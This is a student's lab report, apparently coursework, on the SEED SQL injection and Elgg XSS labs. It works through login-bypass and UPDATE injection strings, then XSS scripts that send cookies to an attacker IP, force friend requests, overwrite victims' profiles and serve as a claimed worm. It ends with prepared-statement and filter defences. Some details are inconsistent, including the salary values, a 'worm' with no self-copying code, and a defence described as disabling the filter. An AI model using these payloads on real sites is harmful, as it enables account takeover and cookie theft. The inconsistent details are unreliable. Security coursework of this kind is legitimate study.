20241916 2024-2025-2《网络攻防实践》实验十
一、实践内容
1.SEED SQL注入攻击与防御实验
创建了一个Web应用程序,并将其托管在 www.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:
(1)熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
(2)对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
(3)对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
(4)SQL对抗:修复上述SQL注入攻击漏洞。
二、SEED XSS跨站脚本攻击实验(Elgg)
为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
(1)发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
(2)弹窗显示cookie信息:将cookie信息显示。
(3)窃取受害者的cookies:将cookie发送给攻击者。
(4)成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
(4)修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
(5)编写XSS蠕虫。
(6)对抗XSS攻击。
二、实践过程
准备过程:
1.新版seed安装
(1)从https://seedsecuritylabs.org/lab_env.html下载新版seed,在Vmare中新建虚拟机
(2)在后续界面选择使用现有虚拟磁盘,将文件地址改为seed存储地址
(3)在虚拟机设置-网络适配器中奖网络连接设置为Vment8
(4)在seed中将hostname改为20241916dty
实验一:SEED SQL注入攻击与防御实验
1.熟悉SQL语句
(1)在seed中输入mysql -u root -p启动mysql,密码:seedubuntu。
(2)输入show databases;,查看所有的库:
(3)输入命令:use Users; 使用Users数据库,再查看Users数据库中的表,命令:show tables;,发现只一个表credential
(4)输入指令select * from credential;,查看表中内容
(5)输入指令select * from credential where Name=‘Alice’;查询Name为Alice的数据
2.对SELECT语句的SQL注入攻击
(1)在seed浏览器界面中输入网站www.SEEDLabSQLInjection.com
(2)在登录界面右键,选择view page source查看网页源码,该网页采用get 方法访问 unsafe_home.php,
(3)在seed寻找该文件,在computer中按照路径/var/www/SQLInjection/unsafe_home.php即可找到该文件,在文件中查看到了登录的代码。通过分析这段sql代码得知,在用户名后加入#字符,即可起到注释的作用,后续的AND Password='hashed_pwd部分被Mysql忽略,故登录的时候只需要输入匹配的用户名即可
(4)返回登录界面,输入Admin‘,成功进入系统
3.对UPDATE语句的SQL注入攻击:
(1)进入Edit Profile界面,查看源代码发现数据发送到unsafe_edit_backend.php ,在与上一个文件相同的路径中打开,查看源代码
(2)发现了一个与上一个文件相似的代码,有相同的漏洞,在输入NickName时在后面加#即可对数据进行修改
(3)在NickName处输入 ', Salary='20241909‘ where name='Admin'; #,成功将Admin的Salary改为20241916
4.SQL对抗
(1)通过前两个任务了解到,在输入中加入#会更改程序运行逻辑,从而不触发对应安全代码,直接对数据进行修改,危害数据安全对代码进行修改。通过查询资料得知,可以使用bind_param来对代码进行修复
(2)在文件中,将SELECT的语句修改为
$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password From credential WHERE name= ? and Password=?;"); $sql->bind_param("ss",$input_uname,$hashed_pwd);
(3)将Update语句修改为
$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;"); $sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);
实验二:SEED XSS跨站脚本攻击实验(Elgg)
1.发布恶意消息,显示警报窗口:
(1)在seed中输入http://www.xsslabelgg.com,进入XSS实验网站
(2)使用Alice,seedalice登录Alice账号
(3)在该界面中点击Edit profile,在Brief description中输入<script> alert(‘20241916dty’);</script>
,保存后出现提示20241916dty
2.弹窗显示cookie信息:
(1)在刚才的输入框中进行修改,将内容修改为,保存后出现cookie的信息
3.窃取受害者的cookies:。
(1)查看ip地址为192.168.200.6
(2)在Alice账号的Brief description中输入如下所示的XSS攻击代码:<script>document.write('<img src=http://192.168.200.6:1916?c=' +escape(document.cookie) + ' >');</script>,
(3)保存后,在终端中可发现cookie值
4.成为受害者的朋友:
(1)用Alice的账号查找Charile用户
(2)ctrl+shift+E,打开开发者工具,点击添加好友,得到如下信息:http://www.xsslabelgg.com/action/friends/add?friend=46&__elgg_ts=1747758131&__elgg_token=DoM7FRE0IjkqinpirLNn-A&__elgg_ts=1747758131&__elgg_token=DoM7FRE0IjkqinpirLNn-A
包含以下信息:
地址:http://www.xsslabelgg.com/action/friends/add
好友ID(friend):46
时间戳:1747758131
token:DoM7FRE0IjkqinpirLNn-
(3)将如下代码输入Alice的About me中,保存
<script type="text/javascript">
window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send();
}
</script>
(4)进入自己的主页,在Activity中发现Alice成为了自己的好友(正常无法添加),攻击成功,成功使进入主页的用户成为Alice的好友
5.修改受害者的信息:
(1)在Alice的About me中,输入下列代码:
<script type="text/javascript">
window.onload = function(){
//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
//and Security Token __elgg_token
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "name=" + userName + "&description=<p>20241916dty,vivo50toeatKFC.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
//FILL IN
var samyGuid=44;
//FILL IN
if(elgg.session.user.guid!=samyGuid)
{
//Create and send Ajax request to modify profile
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
(2)使用Boby登录,访问Alice主页,后返回自己主页,发现主页已经被更改
6.编写XSS蠕虫。
(1)在Alice主页输入以下代码:
<script type="text/javascript">
window.onload = function(){
//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
//and Security Token __elgg_token
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "name=" + userName + "&description=<p>20241916dty,allofyouvivo50toeatKFC.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
//FILL IN
var samyGuid=44;
//FILL IN
if(elgg.session.user.guid!=samyGuid)
{
//Create and send Ajax request to modify profile
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
(3)使用Boby查看Alice主页,发现成功攻击
(7)使用Charlie进入Boby账号主页后,返回自己主页,发现成功感染
7.对抗XSS攻击。
(1)使用管理员账号(账号:Admin,密码:seedelgg)登录,在右上角Account—Plugins中找到HTMLawed关闭
(2)进入Alice主页发现变为代码形式,进入Boby主页发现攻击失效
三.学习中遇到的问题及解决
- 问题1:在seedlab网页上下滑动仍然不显示最上面的Edit Profile栏
- 问题1解决方案:缩小网页比例解决
- 问题2:在新安装的seed中,无法将主机复制的文字粘贴到虚拟机中
- 问题2解决方案:安装vmtools后解决
四.实践总结
在本次实验中,主要学习了SEED SQL注入攻击与防御实验以及XSS跨站脚本攻击,通过这两个实验,我深刻理解了网络安全中常见漏洞的原理、危害及防御方法。在SQL注入实验中,通过分析Web应用的代码逻辑,发现其未对用户输入进行有效过滤,导致攻击者可通过注入注释符#绕过密码验证直接登录系统;在XSS攻击实验中,通过嵌入恶意脚本实现弹窗警告、窃取用户Cookie、自动化添加好友、强制修改用户资料等攻击,直观感受到XSS攻击对用户隐私和系统完整性的威胁。通过在正常的输入框中输入攻击代码,对整个系统进行攻击的行为让我更深的感受到了网络安全的重要性